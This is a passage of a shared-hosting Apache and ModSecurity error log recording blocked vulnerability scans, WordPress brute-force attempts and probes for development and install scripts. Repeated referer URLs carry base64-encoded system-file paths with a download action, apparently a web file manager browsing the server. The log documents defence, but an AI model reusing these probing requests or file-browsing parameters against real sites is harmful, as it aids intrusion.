"Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config_dev.php"] [unique_id "ai3zrFWSojQL4F7upKB_-wAAAKk"] [Sat Jun 13 18:19:56.355779 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:19:56.356164 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:19:56.573476 2026] [security2:error] [pid 648189:tid 648384] [client 185.177.72.9:60452] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/index-dev.php"] [unique_id "ai3zrFWSojQL4F7upKCABQAAAKQ"] [Sat Jun 13 18:19:56.670609 2026] [security2:error] [pid 648189:tid 648469] [client 216.73.216.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/008.phpt"] [unique_id "ai3zrFWSojQL4F7upKCABwAAAPM"] [Sat Jun 13 18:19:56.739947 2026] [security2:error] [pid 648189:tid 648236] [remote 17.22.237.49:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 49.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zrFWSojQL4F7upKCADQABBA8"] [Sat Jun 13 18:19:56.744101 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.60:51604] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:56.744371 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.60:51604] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:56.777322 2026] [access_compat:error] [pid 648189:tid 648305] [remote 57.141.14.64:29492] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:56.777599 2026] [access_compat:error] [pid 648189:tid 648305] [remote 57.141.14.64:29492] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:56.846405 2026] [security2:error] [pid 646876:tid 647122] [client 185.177.72.9:60460] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/index-test.php"] [unique_id "ai3zrNyTkdrNlD40tSG7-wAAAHI"] [Sat Jun 13 18:19:56.851793 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:56.852195 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:56.870536 2026] [security2:error] [pid 648189:tid 648339] [remote 17.22.237.231:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 231.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zrFWSojQL4F7upKCAFQAAsnQ"] [Sat Jun 13 18:19:57.117700 2026] [security2:error] [pid 648189:tid 648364] [client 185.177.72.9:60462] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test/index.php"] [unique_id "ai3zrVWSojQL4F7upKCAGgAAAJA"] [Sat Jun 13 18:19:57.324042 2026] [security2:error] [pid 648189:tid 648303] [remote 193.115.126.168:35306] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.126.115.193.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "sydgps.cl"] [uri "/xmlrpc.php"] [unique_id "ai3zrVWSojQL4F7upKCAIQAAtVE"] [Sat Jun 13 18:19:57.324167 2026] [security2:error] [pid 648189:tid 648401] [client 193.115.126.168:35306] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "sydgps.cl"] [uri "/xmlrpc.php"] [unique_id "ai3zrVWSojQL4F7upKCAIQAAtVE"] [Sat Jun 13 18:19:57.346292 2026] [access_compat:error] [pid 648189:tid 648278] [remote 57.141.14.40:58750] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:57.346545 2026] [access_compat:error] [pid 648189:tid 648278] [remote 57.141.14.40:58750] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:57.366196 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ2L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:19:57.366457 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ2L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:19:57.382021 2026] [security2:error] [pid 648189:tid 648481] [client 185.177.72.9:60466] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/dev/index.php"] [unique_id "ai3zrVWSojQL4F7upKCAJAAAAP8"] [Sat Jun 13 18:19:57.475379 2026] [autoindex:error] [pid 646876:tid 647020] [client 49.51.33.159:38000] AH01276: Cannot serve directory /home2/medredis/public_html/jesusknowsyourname/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://jesusknowsyourname.org [Sat Jun 13 18:19:57.653823 2026] [security2:error] [pid 646876:tid 647031] [client 185.177.72.9:60472] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/dev/config.php"] [unique_id "ai3zrdyTkdrNlD40tSG8BAAAABc"] [Sat Jun 13 18:19:57.749746 2026] [security2:error] [pid 648189:tid 648287] [remote 202.172.25.51:39710] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 51.25.172.202.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mmccray.com"] [uri "/wp-login.php"] [unique_id "ai3zrVWSojQL4F7upKCAMAAAlkE"] [Sat Jun 13 18:19:57.792173 2026] [access_compat:error] [pid 648189:tid 648344] [remote 57.141.14.26:46262] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:57.792461 2026] [access_compat:error] [pid 648189:tid 648344] [remote 57.141.14.26:46262] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:57.813433 2026] [access_compat:error] [pid 648189:tid 648244] [remote 57.141.14.32:26105] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:57.813698 2026] [security2:error] [pid 648189:tid 648229] [remote 17.22.253.43:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 43.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zrVWSojQL4F7upKCANgAA9Ak"] [Sat Jun 13 18:19:57.813715 2026] [access_compat:error] [pid 648189:tid 648244] [remote 57.141.14.32:26105] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:57.872254 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:57.872542 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:57.923585 2026] [security2:error] [pid 646876:tid 647047] [client 185.177.72.9:60486] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/maintenance.php"] [unique_id "ai3zrdyTkdrNlD40tSG8CQAAACc"] [Sat Jun 13 18:19:58.008083 2026] [security2:error] [pid 648189:tid 648291] [remote 17.22.245.196:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 196.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zrlWSojQL4F7upKCAQQAA-UU"] [Sat Jun 13 18:19:58.016261 2026] [access_compat:error] [pid 646876:tid 646965] [remote 57.141.14.38:60879] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:58.016723 2026] [access_compat:error] [pid 646876:tid 646965] [remote 57.141.14.38:60879] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:58.049098 2026] [access_compat:error] [pid 648189:tid 648250] [remote 57.141.14.98:62108] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:58.049366 2026] [access_compat:error] [pid 648189:tid 648250] [remote 57.141.14.98:62108] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:58.203714 2026] [security2:error] [pid 648189:tid 648260] [remote 17.241.219.112:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 112.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zrlWSojQL4F7upKCASgAAzyY"] [Sat Jun 13 18:19:58.298571 2026] [access_compat:error] [pid 648189:tid 648274] [remote 57.141.14.84:33022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:58.298883 2026] [access_compat:error] [pid 648189:tid 648274] [remote 57.141.14.84:33022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:58.313871 2026] [security2:error] [pid 648189:tid 648476] [client 172.56.168.133:45392] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zrlWSojQL4F7upKCATwAAAPo"] [Sat Jun 13 18:19:58.317976 2026] [security2:error] [pid 648189:tid 648476] [client 172.56.168.133:45392] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zrlWSojQL4F7upKCATwAAAPo"] [Sat Jun 13 18:19:58.353756 2026] [access_compat:error] [pid 648189:tid 648258] [remote 57.141.14.98:62118] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:58.354172 2026] [access_compat:error] [pid 648189:tid 648258] [remote 57.141.14.98:62118] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:58.423498 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:58.423972 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:58.756913 2026] [security2:error] [pid 646876:tid 647062] [client 185.177.72.9:60494] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/install/install.php"] [unique_id "ai3zrtyTkdrNlD40tSG8GQAAADY"] [Sat Jun 13 18:19:58.860735 2026] [access_compat:error] [pid 646876:tid 646959] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?act=download&file=autosuspend_delay_ms&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:58.861040 2026] [access_compat:error] [pid 646876:tid 646959] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?act=download&file=autosuspend_delay_ms&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:58.947422 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.84:33028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:58.947884 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.84:33028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:58.950288 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 